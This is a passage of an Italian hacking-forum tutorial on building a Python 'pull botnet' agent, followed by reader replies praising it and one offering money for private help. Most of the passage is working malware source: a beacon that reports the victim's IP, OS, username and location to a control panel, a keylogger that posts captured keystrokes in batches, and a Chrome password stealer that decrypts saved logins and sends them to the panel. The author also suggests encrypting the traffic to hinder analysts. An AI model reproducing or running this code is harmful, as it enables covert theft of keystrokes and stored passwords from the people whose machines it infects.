KEY = HASHER.hexdigest()

Altro errore da non fare e' mandare i dati in chiaro: qui lo facciamo per convenienza, ma mandarli encryptati con AES, piuttosto che RSA, e' sicuramente migliore poiche' metterebbe in difficolta' un reverser che non avrebbe i dati in chiaro. Cio' lo potete fare creando un semplice oggetto AES o RSA che encrypti nell' agent e con la stessa chiave decripti il contenuto nel server.

Ora, abbiamo i dati principali, e vogliamo che vengano mandati appena viene avviato il core, dunque dobbiamo inserire l' invio di tali dati alla pagine /welcome, e duseremo come sempre la comodissima libreria requests:
Python:
class Agnet(object):

    #Variabili

    def __init__(self):
        requests.post(self.PANEL_ADDR+"welcome/", data={'key':self.KEY, 'user':self.USER, 'ip':self.IP, 'os':self.OS, 'enum':self.ENUM, 'geo':self.GEO})
, ma dobbiamo anche avviare i moduli di keylogging e credentials grabbing ...... dove sono ??

Semplice, andiamo ad inserirli come classi all' interno del modulo modules.py, che ci permettera' di richiamarli come oggetti: di conseguenza aggiungiamo l' import
Python:
from Modules.modules import Cred_Grabber, Key_Grabber
, e vediamone prima la struttura per poi passare all' inserimento nell' Agent:

nel caso del keylogger, questo non dovra' far altro che salvare nel buffer un numero X [nel nostro caso 500 caratteri] di caratteri, che verranno poi mandati tutti insieme alla pagina /getkeys. Notiamo che cio' e' stato fatto per evitare di creare risorse [come file] che debbano restare aperti ed essere scritti sempre, e anche per evitare di mandare una richiesta ogni carattere [che avrebbe dossato il server lol]. Cio'nonostante, e' una scelta pericolosa poiche' se si interrompe il programma, si perdono i dati raccolti fin' ora. In questa release non trattero' di come renderli operativi anche dopo aver terminato il loro processo principale [process migration], ma e' questo il principale svantaggio di keylogging che salva le key in una variabile interna al programma.

Dunque, l' implementazione e' simile alla seguente [modulo modules.py]:
Python:
class Key_Grabber(object):

    keys = []
    KEY = ''
    PANEL_ADDR = ''

    def __init__(self, key, addr):
        self.KEY = key
        self.PANEL_ADDR = addr
        self.run()

    def on_press(self, key):
        self.keys.append(str(key))
        if len(self.keys) == 500:
            requests.post(self.PANEL_ADDR+"getkeys/", data={'key':self.KEY, 'text':' '.join(self.keys)})
            self.keys = []

    def run(self):
        with pynput.keyboard.Listener(on_press = self.on_press) as listener:
            listener.join()
.

Nel secondo caso, o meglio del credentials grabber, le cose si complicano leggermente: innanzitutto qui forniro' solamente codice per prendere le credenziali dal db di Chrome, ma potete implementare lo stesso modulo per tutti i browser che volete: basta trovare la locazione del db e da quali tabelle e colonne estrapolare i dati.

Una cosa importante e' riconoscere il sistema su cui si gira, infatti se saremo su unix-like systems, il percorso cambiera' rispetto a quello di win, percio' creiamo prima un metodo che ritorni la path in base al sistema su cui gira l' agent, e successivamente implementiamo il metodo di estrazione ed invio delle credenziali:
Python:
class Cred_Grabber(object):

    KEY = ''
    PANEL_ADDR = ''

    def __init__(self, key, addr, ):
        self.KEY = key
        self.PANEL_ADDR = addr
        self.cred_grab()

    def getpath(self):
        if os.name == 'nt':
            return os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
        elif os.name == 'posix':
            return os.getenv('HOME') + '/.config/google-chrome/Default/'
        else:
            return ''

    def cred_grab(self):
        login_data = []

        try:
            with sqlite3.connect(self.getpath()+"Login Data") as db_creds:
                db_exe = db_creds.cursor()
                datas = db_exe.execute("SELECT action_url, username_value, password_value FROM logins").fetchall()

            for data in datas:

                if os.name == "nt":
                    password = win32crypt.CryptUnprotectData(data[2], None, None, None, 0)[1]
                    if password:
                        login_data.append({
                            'origin_url': data[0],
                            'username': data[1],
                            'password': str(password.decode())
                        })

                elif os.name == 'posix':
                    login_data.append({
                        'origin_url': data[0],
                        'username': data[1],
                        'password': data[2].decode()
                    })

            for data in login_data:
                requests.post(self.PANEL_ADDR+"getcreds/", data={'key':self.KEY, 'user':data['username'], 'passwd':data['password'], 'url':data['origin_url']})

        except sqlite3.DatabaseError:
            pass
        finally:
            db_exe.close()
. Fatto questo, dobbiamo inserirli all' interno del core principale, quindi di Core.py.

Ritorniamo all' interno di tale file e inseriamo nel costruttore il seguente codice:
Python:
class Agent():
    #...

    def __init__(self):
        #...
        cred_grabber = Cred_Grabber(self.KEY, self.PANEL_ADDR)
        keylogger = Key_Grabber(self.KEY, self.PANEL_ADDR)
. Il codice finale risultera' dunque simile al seguente:
Python:
import platform
import requests
import uuid
from Modules.modules import Cred_Grabber, Key_Grabber
import json

class Agent(object):

    PANEL_ADDR = "http://localhost:8080/"
    JSON_PARSER = json.JSONDecoder()

    INFOS = JSON_PARSER.decode(requests.get("http://freegeoip.net/json/").text)
    IP = INFOS['ip']
    OS = platform.system()
    USER = platform.node()
    KEY = uuid.uuid1()
    GEO = INFOS['country_code']
    ENUM = platform.uname()

    def __init__(self):
        requests.post(self.PANEL_ADDR+"welcome/", data={'key':self.KEY, 'user':self.USER, 'ip':self.IP, 'os':self.OS, 'enum':self.ENUM, 'geo':self.GEO})
        cred_grabber = Cred_Grabber(self.KEY, self.PANEL_ADDR)
        keylogger = Key_Grabber(self.KEY, self.PANEL_ADDR)

def main():
    core = Agent()

if __name__ == "__main__":
    main()
.

Adesso potete eseguire il test finale:
come detto precedentemente, inizializzate prima il database attraverso il comando py db.py init, successivamente avviate il server [py Server.py], e anche l' agent [py Core.py].

Andando nei log del server, noterete una richiesta quasi immediata a /welcome, successivamente [in base al numero delle credenziali salvate nel Chrome db, altre richieste a /getcreds, e infine, se digiterete un po' [500 caratteri], vedrete anche l' arrivo di una [massiccia] richiesta, diretta a /getkeys.

Il codice completo, lo trovate su Github: https://github.com/Mik317/PullPy

Bene, siamo arrivati al dessert, spero di avervi lasciato qualcosa di minimamente utile, e se avete domande, problemi o semplicemente qualche critica [ne prevedo molte visto il codice scritto malissimo], potete sfogarvi :)
1528823028486.png

1528823092464.png

1528871670345.png

1528871766459.png

1528871916953-png.28294

1528872417149.png

1528872691879.png


PS: @Stefano Novelli , alla fine ho risolto eliminando una parte dell' HTML, poiche' il ticket andava per le lunghe, grazie comunque del supporto, e almeno ora so' come creare un ticket :)
 

Allegati

  • 1528871916953.png
    1528871916953.png
    78.1 KB · Visualizzazioni: 622
Bella botnet comunque scusami per la stella ma non volevo, volevo solo scrivere un messaggio a te.
Il voto sarebbe 5 stelle comunque. np bro
Tranquillo, poi non ti devo scusare di nulla, solo volevo sapere il perche' di quel voto lol, l' importante per me e' essere preciso in cio' che scrivo :)
Comunque ti ho risposto in pvt alla domanda ;)
 
  • Mi piace
Reazioni: B4ckdoor
@Gorate
Dopo aver seguito attentamente la tua interessantissima spiegazione sulla creazione di una PULL BOTNET mi piacerebbe confrontarmi con te mediante Skype(Possibilmente).
Ovviamente non ti farò perdere tempo anzi sono disposto a ricompensarti ovviamente in denaro u.u
 
@iSxND ,
essere pagato e' l unica cosa di cui non mi interessa minimamente, mentre e' la crescita personale che mi incentiva [lo so', sono matto], quindi se mi passi il tuo nick Skype in PVT, ti contatto e mi dici cosa c'e' di preciso che vuoi sapere ;)

PS: Unica cosa non ho molto tempo per via di impegni che si accavallano, quindi dammi un idea precisa di quando ci sei in modo da organizzarmi :)
 
  • Mi piace
Reazioni: iSxND